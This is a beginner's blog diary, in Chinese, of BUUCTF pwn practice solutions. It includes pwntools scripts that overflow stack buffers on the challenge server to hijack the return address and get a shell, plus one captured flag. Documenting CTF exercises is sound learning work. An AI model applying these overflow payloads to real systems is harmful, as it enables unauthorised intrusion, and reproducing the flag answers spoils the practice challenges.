BUUCTF pwn学习日记
我是纯新手,零基础的开始学Pwn喽
时间:2024年10月29日
BUUCTF Pwn 学习日记
1.test_your_nc
下载附件,用IDA打开
发现直接nc就可以获得flag
cat flag得到flag{07c0b69c-dcbf-4991-8cc6-05660b1a2dd2}
2.rip
IDA打开发现
没有看见有用信息,Shift+F12
发现了/bin/sh
初步怀疑是栈溢出,编写脚本
from pwn import *
p = remote("node5.buuoj.cn",27528)
payload = b'a' * (15+8) + p64(0x40118A)
p.sendline(payload)
p.interactive()
3.warmup_csaw_2016
nc后发现给出的地址在cat附近
且有get那么好像也是栈溢出呢
大小是0x40
所以套用上一个题的脚本有
from pwn import *
p = remote("node5.buuoj.cn",26099)
payload = b'a' * (0x40+8) + p64(0x40060d)
p.sendline(payload)
p.interactive()
4.ciscn_2019_n_1
发现是没有保护的,直接进入IDA
有system!也有gets,尝试栈溢出?
from pwn import *
p=remote("node5.buuoj.cn",28695)
#node5.buuoj.cn:28695
paypload=b'a'*(0x30+8)+p64(0x4006BE)
p.sendline(paypload)
p.interactive()
5.pwn1_sctf_2016
看到NX enabled (堆栈不可执行),那么该怎么办呢?
---------------------------------------------------------------------------------------------------------------2024年10月29日截至到22.16
我们先打开IDA,看看伪代码
看到fgets(s,32,edata),s只能读取32(0x20)个数据,但是s实际上是有0x3c(60)个数据,好像没法栈溢出....
看到字符串"you"和"I"还有个replace函数
个人猜想:难不成是将I replace成 you 吗?
试验了一下,果然是的,那么好像就可以栈溢出了
60/3=20,那么只要输入20个I就行了
但是注意
还有db 4 dups,说明还需要4个数据才能溢出。所以脚本是
from pwn import *
p=remote("node5.buuoj.cn",27946)
#node5.buuoj.cn:27946
paypload=b'I'*(20)+b'1111'+p32(0x8048F0D)
p.sendline(paypload)
p.interactive()
6.jarvisoj_level0
先看保护
有NX保护,进IDA
有一个write函数,再进去看看
有read函数!这把鸡有啦
同时也看到了/bin/sh
开写脚本
from pwn import *
p=remote("node5.buuoj.cn",29200)
paypload=b'I'*(0x80)+b'11111111'+p64(0x0000000000400596)
p.sendline(paypload)
p.interactive()
7.[第五空间2019 决赛]PWN5
Stack:Canary found(开启了栈保护)
---------------------------------------------------------------------------------------------------------------2024年10月30日截至到18.08
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 通过 API 将Deepseek响应流式内容输出到前端